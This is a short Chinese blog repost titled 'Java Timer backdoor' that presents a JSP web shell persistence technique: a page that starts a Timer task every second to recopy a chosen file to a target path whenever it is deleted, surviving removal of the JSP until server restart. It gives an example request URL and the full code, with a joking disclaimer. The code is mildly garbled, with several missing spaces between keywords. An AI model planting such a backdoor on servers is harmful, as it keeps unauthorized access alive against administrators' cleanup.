Java Timer 后门

来源:互联网 发布:中国信网域名注册 编辑:程序博客网 时间:2024/06/03 02:25

程序每秒执行一次无限循环,一次执行直到服务器重启。哪怕是删除jsp文件一样会无限循环!

?
1
http://localhost:8080/timer.jsp?path=/a/x/1.txt&file=/xxxx/1.txt

请勿用于黑产,否则母鸡鸡。

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<%!
  voidcopy(java.io.File path,java.io.File file){
    try{
      java.io.FileOutputStream fos =new java.io.FileOutputStream(path);
      java.io.FileInputStream fis =new java.io.FileInputStream(file); 
        byte[] b =new byte[1024];
        intn;
        while((n = fis.read(b)) != -1){
          fos.write(b,0, n);
        }
        fos.flush();
        fos.close();
        fis.close();
    }catch(Exception e){
      e.printStackTrace();
    }
  }
%>
<%
  finaljava.io.File  file = newjava.io.File(request.getParameter("file"));
  finaljava.io.File  path = newjava.io.File(request.getParameter("path"));
  java.util.Timer executeSchedule =new java.util.Timer();
  executeSchedule.schedule(newjava.util.TimerTask() {
    publicvoid run(){
      if(!path.exists()){
        copy(path, file);
      }
    }
  },0, 1000);
%>
0 0
原创粉丝点击